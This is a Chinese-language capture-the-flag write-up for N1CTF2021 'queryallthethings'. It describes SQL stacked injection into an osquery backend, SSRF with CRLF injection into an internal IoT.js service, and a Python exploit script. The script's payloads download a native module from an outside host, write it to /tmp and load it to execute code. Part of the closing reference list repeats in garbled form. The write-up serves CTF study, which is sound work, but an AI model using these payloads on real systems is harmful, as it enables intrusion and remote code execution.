N1CTF2021-queryallthethings
0x01 osquery 突破
开局一张图,答案全靠猜
看到sql注入冲压!.
一顿fuzz发现是pgsql!!! 虫虫 堆叠注入
查一下用户 查一下权限, yi? 怎么什么都没有???
这里可以通过一个特性来确定
https://www.sqlite.org/schematab.html
http://47.57.246.66:12321/?str=world'; select * from sqlite_temp_master;--+
可以理解为每个sqlite的数据库都有这么一个表,mysql的在information下面,他是数据库对象集合,它包含了各种对像,比如:表,视图,存储过程,索引等等。
我们可以通过其中比较特殊的数据来进行判断数据库的类型
原来是osquery!!!! (md
这狂野的payload让我大惊失色,nb呀兄弟们。其实看到了osquery支持的查询方法,我们发现了一个有关于文件的操作。
第一件事应该是翻看schema里面有所有的数据库 表等 https://osquery.io/schema/5.0.1/#file 还有就是test文件也可以
http://47.57.246.66:12321/?str=world%27;%20select%20*%20from%20file%20where%20directory=%27/%27;--+
可以看到在根目录下面有一个readflag
可以知道这个题目需要RCE。所以我们继续进行信息收集。
首先 我们了解到osquery本身并不具有命令执行的特点,可能是内部存在其他的服务,继续翻看schema
yara
Track YARA matches for files or PIDs. 可以用yara规则来匹配文件
https://yara.readthedocs.io/en/stable/writingrules.html
https://github.com/osquery/osquery/blob/master/specs/yara/yara.table
augeas
Configuration files parsed by augeas.//通过auges读取配置文件
https://github.com/osquery/osquery/blob/master/specs/posix/augeas.table
这波我格局小了
http://47.57.246.66:12321/?str=world%27;select%20pid,port%20from%20listening_ports;--+
查看监听的端口 16324 => ssrf => curl库 => CRLF(因为只有两个字段 只支持HTTP)
然后据说这一步开始就读取linux系统的配置文件了。
select * from processes;
有人问我这是怎么发现,我就说可以查看一下系统进程
大家记住这两个点的位置,在你本地实际搭建了iotjs就会发现他的作用,下面就是iotjs的本地测试了。
0x02 iotjs突破
我们知道他可以操作文件和发起http请求但是不能RCE执行命令,我们继续看文档,把刚才的构造参数放到文档里面搜索。
DENABLE_MODULE_NAPI=ON
Building N-API with IoT.js
You need to append the --n-api
parameter to the build command (e.g. tools/build.py --n-api
).
This automatically adds the N-API module to IoT.js.
To run N-API test you should also append --n-api
after the testrunner.py
.
看看了文档 大概意思就是我们可以自定义模块,我们就来插入,然后导入执行就可以了。
#!/usr/bin/python
#-*- coding: utf-8 -*-
import requests
import random
import base64
# SQL Injection
url = "http://47.57.246.66:12321/?str=world';{};--"
# Payload from other team
payload = "select group_concat(result)from curl where url='http://127.0.0.1:16324' and user_agent='\n\n\n\n\n\n\n\n\n\n\n\n\n\n{node}\n\n\n\n\n\n\n\n\n\n\n'"
"""
Write native module to server
fs = require("fs");
http = require("http")
f = fs.openSync("/tmp/styp.node", "w")
http.get({
host: "158.101.144.10",
port: 80,
path: "/styp.node?exp"
}, function(resp){
resp.on("data", function(exploit){
fs.writeSync(f, exploit, 0, exploit.length)
});
resp.on("end", function(){
fs.closeSync(f)
process.exit(1)
});
});
"""
gadget_init = "fs=require(\"fs\");f=fs.openSync(\"/tmp/dem0.node\",\"w\");http=require(\"http\");http.get({ host:\"ip\",port:80,path:\"/demomod.node\"},function(r){r.on(\"data\",function(c){fs.writeSync(f, nc, 0, c.length);});r.on(\"end\", function(){fs.closeSync(f);process.exit(1);})});"
# gadget_init = "var fs = require('fs');var file = '/tmp/fff'var data = new Buffer('aaa');var fd = fs.openSync(file, 'w');var bytes = fs.writeSync(fd, data, 0, data.length);fd.close();"
payload_init = payload.format(node=gadget_init)
r = requests.get(url.format(payload_init))
print(r.text)
"""
Run my native module
sty = require("/tmp/styp.node")
console.log(sty)
"""
gadget_shell = "dem0=require(\"/tmp/dem0.node\");console.log(dem0.hello());"
payload_shell = payload.format(node=gadget_shell)
r = requests.get(url.format(payload_shell))
print(r.text)
- https://harold.kim/blog/2021/11/n1ctf-writeup/
- https://github.com/Nu1LCTF/n1ctf-2021/tree/main/Web/QQQueryyy_all_the_things
- https://osquery.io/schema/5.0.1/#portage_keywords
1ctf-writeup/
- https://github.com/Nu1LCTF/n1ctf-2021/tree/main/Web/QQQueryyy_all_the_things
- https://osquery.io/schema/5.0.1/#portage_keywords
远程环境不知道为什么写不进去了 哭哭。